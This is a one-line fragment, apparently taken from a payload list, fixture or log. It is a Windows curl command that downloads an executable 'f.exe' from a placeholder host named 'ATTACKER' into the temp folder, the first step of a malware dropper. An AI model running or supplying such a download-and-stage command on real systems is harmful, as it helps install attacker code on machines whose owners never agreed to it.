curl http://ATTACKER/f.exe -o %TEMP%\\f.exe\x0d